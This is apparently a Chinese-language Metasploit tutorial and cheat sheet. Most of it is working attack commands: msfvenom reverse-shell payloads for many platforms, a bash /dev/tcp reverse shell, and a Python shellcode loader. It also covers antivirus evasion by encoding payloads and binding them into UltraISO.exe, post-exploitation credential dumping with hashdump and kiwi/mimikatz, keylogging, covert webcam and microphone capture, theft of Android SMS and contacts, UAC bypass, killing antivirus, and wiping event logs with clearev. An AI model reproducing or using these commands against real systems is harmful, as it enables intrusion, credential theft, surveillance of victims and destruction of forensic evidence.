跳转至

MSF usage

MSF

介绍

image.png

Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击,有效载荷就是在发现漏洞之后开发一种可行的攻击方法。其用于提取本地系统密码、安装其他软件或控制硬件等的模块,这些功能很像以前BO2K等工具所具备的功能。

BSD许可证

相较于GPL许可证和MPL许可证的严格性,BSD许可证就宽松许多了,一样是只需要附上许可证的原文,不过比较有趣的是,它还要求所有进一步开发者将自己的版权资料放上去,所以拿到以BSD许可证发行的软件可能会遇到一个小状况,就是这些版权资料许可证占的空间比程序还大。

image.png

MSF目录结构

/usr/share/metasploit-framework

image.png

image.png

image.png

要记住的一些模块

  • modules:目录里面存放渗透使用的 辅助模块 编码模块 利用模块 攻击载荷 后渗透模块
  • plugins: 这个模块需要用load加载,主要提供数据库连接插件 和 各种要用到的插件。
  • tools:包含一些有用的脚本和零散的工具。
  • scripts:目录里面存放都是meterpreter利用的脚本。
  • db:数据放在这个目录里
  • data:存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件
  • lib:库文件都保存在这个目录里

msf的模块都放在/usr/share/metasploit-framework/modules/这个目录下

image.png

模块功能


1 auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

2 exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。

3 payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

4 post:后渗透阶段模块,漏洞利用成功获得meterpreter之后, 向目标发送的一些功能性指令,如:提权等

5 encoders: 编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

6 evasion:躲避模块,用来生成免杀payload

7 nops:这里主要放着调整shellcode 前置nop指令长度的工具(不理解没关系)

msf攻击数据库

攻击Mysql服务

  1. auxiliary/scanner/mysql/mysql_login
  2. exploit/multi/mysql/mysql_udf_payload
  3. exploit/windows/mysql/mysql_mof
  4. exploit/windows/mysql/scrutinizer_upload_exec
  5. auxiliary/admin/mysql/mysql_sql
  6. auxiliary/scanner/mysql/mysql_version

攻击Sql server

  1. auxiliary/admin/mssql/mssql_enum
  2. auxiliary/admin/mssql/mssql_escalate_dbowner
  3. auxiliary/admin/mssql/mssql_exec
  4. auxiliary/admin/mssql/mssql_sql
  5. auxiliary/admin/mssql/mssql_sql_file
  6. auxiliary/scanner/mssql/mssql_hashdump
  7. auxiliary/scanner/mssql/mssql_login
  8. auxiliary/scanner/mssql/mssql_ping
  9. exploit/windows/mssql/mssql_payload
  10. post/windows/manage/mssql_local_auth_bypass

msfvenom常用参数

Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马

msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。

msfencode是MSF编码器。

输入msfvennom可查看各参数的意义

  • -l/--list

列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

  • -p

指定需要使用的payload(攻击荷载)。

  • -f

指定输出格式

Executable


formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;


Transform


formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

  • -e

指定需要使用的encoder(编码器)编码免杀。

  • -a

指定payload的目标架构

选择架构平台

x86 | x64 | x86_64

Platforms

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

  • -o

保存payload文件输出。

  • -b

设定规避字符集,比如: '\x00\xff'避免使用的字符

  • -n

为payload预先指定一个NOP滑动长度

  • -s

设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

  • -i

指定payload的编码次数

  • -c

指定一个附加的win32 shellcode文件

  • -x

指定一个自定义的可执行文件作为模板 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

  • -k

保护模板程序的动作,注入的payload作为一个新的进程运行 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

  • -v

指定一个自定义的变量,以确定输出格式

生成payload


Windows
Bash
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10  -f exe -o payload.exe

Mac
Bash
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho

Android
Bash
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567  -o payload.apk

Powershell
Bash
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

Linux
Bash
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf

php
Bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1  LPORT=8888  -f raw > shell.php

aspx
Bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx

JSP
Bash
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.jsp

war
Bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war

nodejs
Bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.js

python
Bash
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.py

perl
Bash
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.pl

ruby
Bash
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb

lua
Bash
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua

windows shellcode
Bash
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

linux shellcode
Bash
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

mac shellcode
Bash
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp  LHOST=192.168.1.1  LPORT=4567 -f c
Bash
# windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

# mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

# android
//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

# powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

# linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

# php
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

# aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

# jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp

# war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war

# nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js

# python
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py
# python Payload删除特征
msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d '"' | tr -d '\n'
# python payload
-------------------------------------------
from ctypes import *

reverse_shell = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72
# shellcode为上述删除特征后的字符
micropoorshell = create_string_buffer(reverse_shell, len(reverse_shell))
shellcode = cast(micropoorshell, CFUNCTYPE(c_void_p))
shellcode()
-------------------------------------------

# perl
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl

# ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb

# lua
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua

# windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

# linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

# mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

# bash
msfvenom -p cmd/unix/reverse_bash LHOST=xx.xx..xx.xx LPORT=xx > -f raw > payload.sh
# 一些混淆bash payload
--------------------------------------------
#!/bin/bash
exec 5<>/dev/tcp/xx.xx.xx.xx/xx
cat <&5 | while read line; do $line 2>&5 >&5;done
--------------------------------------------

提取MSF的payload

Bash
use windows/x64/vncinject/reverse_tcp_rc4
# 以这个payload为例
show options
set lhost xxx
set lport xxx
generate
# 执行后会显示shellcode

之后可以自定义shellcode加载器,实现免杀

MSF关于监听的几个重要参数

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

Text Only
msf exploit(multi/handler) > set ExitOnSession false 
# 可以在接收到seesion后继续监听端口,保持侦听。

防止Session意外退出

Bash
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 
# 默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0。但是我实际操作改为0会导致接收不到session或者断session,原因未知

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 
# 默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭。

handler后台持续监听

Bash
msf exploit(multi/handler) > exploit -j -z   
# -j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

还有种比较快捷的建立监听的方式,在msf下直接执行:

Bash
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

Meterpreter

Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!

Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。

常用命令

基本命令
  • help# 查看Meterpreter帮助
  • background#返回,把meterpreter后台挂起
  • bgkill# 杀死一个 meterpreter 脚本
  • bglist#提供所有正在运行的后台脚本的列表
  • bgrun#作为一个后台线程运行脚本
  • channel#显示活动频道
  • sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
  • sesssions -k number #与会话进行交互
  • close# 关闭通道
  • exit# 终止 meterpreter 会话
  • quit# 终止 meterpreter 会话 interact id #切换进一个信道
  • run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
  • irb# 进入 Ruby 脚本模式 read# 从通道读取数据write# 将数据写入到一个通道
  • run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
  • use# 加载 meterpreter 的扩展
  • load/use#加载模块
  • Resource#执行一个已有的rc脚本
常用命令
安卓
  • 获取手机通讯录: dump_contacts
  • 获取短信记录:dump_sms
  • 控制实验手机发短信:send_sms -d 15330252525 -t "hello"
  • 获取实验手机GPS定位信息:geolocate
  • 获取实验手机Wi-Fi定位信息:wlan_geolocate
  • 控制实验手机录音:record_mic -d 5
  • 获取实验手机相机设备:webcam_list
  • 控制实验手机拍照 :webcam_snap
  • 直播实验手机摄像头:webcam_stream
Windows
  • 查看进程:ps
  • 查看当前进程号:getpid
  • 查看系统信息:sysinfo
  • 查看目标机是否为虚拟机:run post/windows/gather/checkvm
  • 查看完整网络设置:route
  • 查看当前权限:getuid
  • 自动提权:getsystem
  • 关闭杀毒软件:run post/windows/manage/killav
  • 启动远程桌面协议:run post/windows/manage/enable_rdp
  • 列举当前登录的用户:run post/windows/gather/enum_logged_on_users
  • 查看当前应用程序:run post/windows/gather/enum_applications
  • 抓取目标机的屏幕截图:load espia;screengrab
  • 获取相机设备:webcam_list
  • 控制拍照 :webcam_snap
  • 直播摄像头:webcam_stream
  • 控制录音:record_mic
  • 查看当前处于目标机的那个目录:pwd
  • 查看当前目录:getlwd
  • 导出当前用户密码哈希 run hashdump

  • 用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高

run windows/gather/smart_hashdump

抓取自动登录的用户名和密码

run windows/gather/credentials/windows_autologin


直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入

load kiwi 加载kiwi


  • creds_all:列举所有凭据
  • creds_kerberos:列举所有kerberos凭据
  • creds_msv:列举所有msv凭据
  • creds_ssp:列举所有ssp凭据
  • creds_tspkg:列举所有tspkg凭据
  • creds_wdigest:列举所有wdigest凭据
  • dcsync:通过DCSync检索用户帐户信息
  • dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
  • golden_ticket_create:创建黄金票据
  • kerberos_ticket_list:列举kerberos票据
  • kerberos_ticket_purge:清除kerberos票据
  • kerberos_ticket_use:使用kerberos票据
  • kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
  • lsa_dump_sam:dump出lsa的SAM
  • lsa_dump_secrets:dump出lsa的密文
  • password_change:修改密码
  • wifi_list:列出当前用户的wifi配置文件
  • wifi_list_shared:列出共享wifi配置文件/编码
文件系统命令
  • cat c:\boot.ini#查看文件内容,文件必须存在
  • del c:\boot.ini #删除指定的文件
  • upload /root/Desktop/netcat.exe c: # 上传文件到目标机主上,如upload setup.exe C:\windows\system32
  • download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download
  • C:\"ProgramFiles"\Tencent\QQ\Users\295125\Msg2.0.db /root/
  • edit c:\boot.ini # 编辑文件
  • getlwd#打印本地目录
  • getwd#打印工作目录
  • lcd#更改本地目录
  • ls#列出在当前目录中的文件列表
  • lpwd#打印本地目录
  • pwd#输出工作目录
  • cd c:\ #进入目录文件下
  • rm file #删除文件
  • mkdir dier #在受害者系统上的创建目录
  • rmdir#受害者系统上删除目录
  • dir#列出目标主机的文件和文件夹信息
  • mv#修改目标主机上的文件名
  • search #search 文件,如search -d c:\ -f .doc
  • enumdesktops #用户登录数

irb操作

Railgun是Meterpreter stdapi的扩展,允许任意加载DLL。Railgun的最大好处是能够动态访问系统上的整个Windows API。通过从用户进程调用Windows API。

meterpreter下执行irb进入ruby交互。

  • 锁定注销目标机:
Ruby
>> client.railgun.user32.LockWorkStation()
=> {"GetLastError"=>0, "ErrorMessage"=>"\xB2\xD9\xD7\xF7\xB3\xC9\xB9\xA6\xCD\xEA\xB3\xC9\xA1\xA3", "return"=>true}
>>
  • 查找敏感文件
Ruby
>> client.fs.file.search("C:\\", "*.txt")

shell加固

当得到一个MSF普通shell(指交互性较差)后,可以输入以下命令提升到meterpreter

Bash
background
session -u {SESSION_ID}

后渗透操作

访问文件系统

1.文件交互指令

ID Command Description
1 cat 读取文件内容
2 cd 切换靶机目录
3 cp 复制文件到目标
4 mv 移动到目标
5 chmod 修改文件权限(比如chmod 777 shell.elf)
6 del / rm 删除靶机文件
7 dir 打印靶机目录
8 mkdir 在靶机上创建目录
9 rmdir 删除靶机目录
10 edit 编辑文件
11 getlwd 打印本地目录
12 getwd 打印靶机目录
13 lcd 更改本地目录
14 lls 列出本地目录
15 ls 列出靶机文件目录
16 lpwd 打印本地目录
17 pwd 打印工作目录
19 search 搜索文件 详情search -h

上传下载文件

ID Command Description
1 upload 传文件到靶机
2 download 从靶机下载文件

屏幕截图

ID Command Description
1 screenshot 截图(Windows)

键盘记录

ID Conmmand Description
1 keyscan_start 启动键盘记录(Windows)
2 keyscan_dump 导出键盘(Windows)
3 keyscan_stop 停止键盘记录(Windows)

创建账户

Bash
# 先看下目标靶机已存在用户

meterpreter> run post/windows/gather/enum_logged_on_users

1643108073546

Bash
# 使用getgui创建 一个用户名为 msb  密码为 123456  的账户

run getgui -u msb -p 123456
# run getgui -u {用户名} -p {密码}

1643108092979

[-] Insufficient privileges, account was not be created. 看到这个提示就需要先提权(获取到system)

Bash
# 绕过UAC提权
use exploit/windows/local/ask

音频录制

Bash
record_mic -d  10 -p true

args:
-d  设置录音时长
-f  设置文件保存路径
-h  查看帮助
-p  控制自动播放

提权

  • 方法一
Bash
meterpreter> getsystem
  • 方法二
Bash
# 回退
meterpreter> background


# 搜素提权模块
msf> search bypassuac

example:
use  exploit/windows/local/bypassuac_windows_store_reg
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_dotnet_profiler

获取登录密码

首先获得一个有SYSTEM权限的meterpreter

  • 抓取自动登录账户密码
Text Only
run windows/gather/credentials/windows_autologin
  • 导出SAM数据库本地账户密码文件
Text Only
run post/windows/gather/smart_hashdump
  • 导出密码哈希
Text Only
run hashdump

在线破解工具:https://www.cmd5.com/

或者使用john、hashcat等破解

  • 使用kiwi模块获取
Bash
meterpreter> load kiwi

# 获取所有凭证
meterpreter> creds_all

# 获取密码
meterpreter> kiwi_cmd sekurlsa::logonpasswords

ID kiwi参数和描述
1 creds_all:列举所有凭据
2 creds_kerberos:列举所有kerberos凭据
3 creds_msv:列举所有msv凭据
4 creds_ssp:列举所有ssp凭据
5 creds_tspkg:列举所有tspkg凭据
6 creds_wdigest:列举所有wdigest凭据
7 dcsync:通过DCSync检索用户帐户信息
8 dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
9 golden_ticket_create:创建黄金票据
10 kerberos_ticket_list:列举kerberos票据
11 kerberos_ticket_purge:清除kerberos票据
12 kerberos_ticket_use:使用kerberos票据
13 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
14 lsa_dump_sam:dump出lsa的SAM
15 lsa_dump_secrets:dump出lsa的密文
16 password_change:修改密码
17 wifi_list:列出当前用户的wifi配置文件
18 wifi_list_shared:列出共享wifi配置文件/编码

远程控制

  • rdesktop

在线安装 rdesktop

Bash
# Debian,Ubuntu,kali
apt-get install rdesktop

# Centos/RedHat
yum -y install rdesktop

rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。

rdesktop常用参数

id 参数 描述
1 -u 账户名
2 -p 密码
3 -a 16 指使用16位色显示远程画面
4 -f 全屏模式(用**Ctrl+Alt+Enter** 组合键退出全屏)
5 -g 设置分辨率 如 : -g 1024x768
6 rdesktop -h 查看rdesktop使用帮助
Bash
# rdesktop -u <username> -p <password> -f <IP>
rdesktop -u mb -p 123456 -f  -g 1024x720 192.168.110.24

如果远程计算机没有启动远程功能我们可以在meterpreter中输入

Bash
# 启用远程桌面
run post/windows/manage/enable_rdp
  • 通过vnc远程
Text Only
meterpreter> run vnc

调用摄像头

获取到meterpreter后我们可以使用webcam模块实现调用软,硬件摄像头

webcam模块支持命令

id 模块名 解释
1 webcam_list 列出靶机中的所有软,硬件摄像头列表,并编号
2 webcam_snap 可调用单个软,硬件摄像头拍照,默认调用第一个摄像头
3 webcam_stream 可调用单个软,硬件摄像头直播,默认调用第一个摄像头
Text Only
meterpreter> webcam_list

1644494100592

  • webcam_snap
Bash
meterpreter> webcam_snap -i <num> -p <file_path> -q <picture_quality>
id 参数 描述
1 -h 显示帮助
2 -i -i 1 “1”代表调用摄像头编号
3 -p -p /root "root"设置存储路径
4 -q -q 100 "100" 表示存储图片的质量默认为 50
5 -v -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true

1644494089950

  • webcam_stream
id 参数 描述
1 -h 显示帮助
2 -d -d 100 "100"=100秒 设置流持续时间为100秒 默认为1800
3 -i -i 1 “1”代表调用摄像头编号
4 -q -q 100 “100”指流质量 默认为50
5 -s -s live “live”指流文件路径 默认输出在当前目录(注意目录不存在不会自动创建)
7 -f -f live “live”指播放文件的存储地址 默认输出在当前目录
8 -v -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true

MSF进阶操作

msf辅助模块

我们知道msf辅助模块有上千个,主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等

我们可以通过以下命令查询所有 Auxiliary辅助模块

Text Only
use auxiliary
show auxiliary

Auxiliary模块分类


admin

/admin/android

/admin/http

/admin/mysql/

/admin/oracle/

/admin/vmware/

/admin/smb/


dos

/dos/android/

/dos/http/

/dos/cisco/

/dos/dns/

/dos/smb/

/dos/windows/ftp/


fuzzers

/fuzzers/http/

/fuzzers/smb/

/gather/


scanner

/scanner/portscan/

/scanner/ftp/

/scanner/http/

/scanner/ssh/

/scanner/smb/

/scanner/vmware/

/scanner/vnc/

/scanner/telnet/

/scanner/msyql/

/scanner/ntp/

/scanner/openvas/

/scanner/sap/


server

/server/

通过分类查询指定模块

通过search查询指定模块

Bash
search type:auxiliary name:smb

type: 后门跟的的模块类型 name : 后门跟的就是要搜的模块名

调用模块

我们调一个smb模块演示

Bash
# 查询与SMB相关的辅助模块
search type:auxiliary name:smb

# 加载一个ms17_010探测模块
use auxiliary/scanner/smb/smb_ms17_010

msf编码免杀

  • 不处理payload直接生成样本进行检测
Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.32 LPORT=4456 -f exe -o payload1.exe

1645511560404

有41%的杀毒软件报毒了

1645511550808

  • MSF自编码处理payload生成样本进行检测
Bash
# 查看可用编码模块
msfvenom --list encoders

1645511543145

Bash
# x86/shikata_ga_nai模块 免杀中使用频率最高的一个编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai HOST=192.168.110.110  LPORT=4456 -f exe -o payload1.exe

有37%的杀毒软件报毒了

1645511533351

  • MSF自捆绑处理payload生成样本进行检测

使用msfvenom的-x参数可以指定一个可执行文件,将payload与其捆绑

Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -x UltraISO.exe -f exe -o payload2.exe

1645511525813

有37%的杀毒软件报毒了

1645511516751

  • MSF自捆绑+编码处理payload生成样本进行检测

结合第二种,第三种。编码方式我们再次生成样本

Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe  -i 10 -f exe -o payload3.exe

1645511507586

有31%的杀毒软件报毒了

1645511497457

那我们继续增加编码次数

Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe  -i 20 -f exe -o payload4.exe

有27%的杀毒软件报毒了!

1645511487704

  • MSF多重编码payload生成样本进行检测

通过管道,让msfvenom用不同编码器反复编码进行混淆。使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以payload5.exe为模板的可执行文件。

Text Only
msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.110.110 LPORT=4456 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x UltraISO.exe -f exe -o payload5.exe
  • 生成Shellcode使用C语言调用

直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:

Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -f c > c0001.c

1645511458128

改c文件,并编译,并加壳

1645511469800

随便写一个hello world

Text Only
main() {
    printf("hello world\n");
}

然后编译并加壳

msf清理日志

再进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行eventvwr命令打开。

包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,

则可以使用 meterpreter 的 clearev 命令来清除其日志。

未清除日志前可查看系统记录的一些处理信息。

1645511582659

然后在 meterpreter 下执行clearev命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。

Text Only
meterpreter> clearev

1645511593151

注意: 使用clearev命令时 需要获得靶机的system权限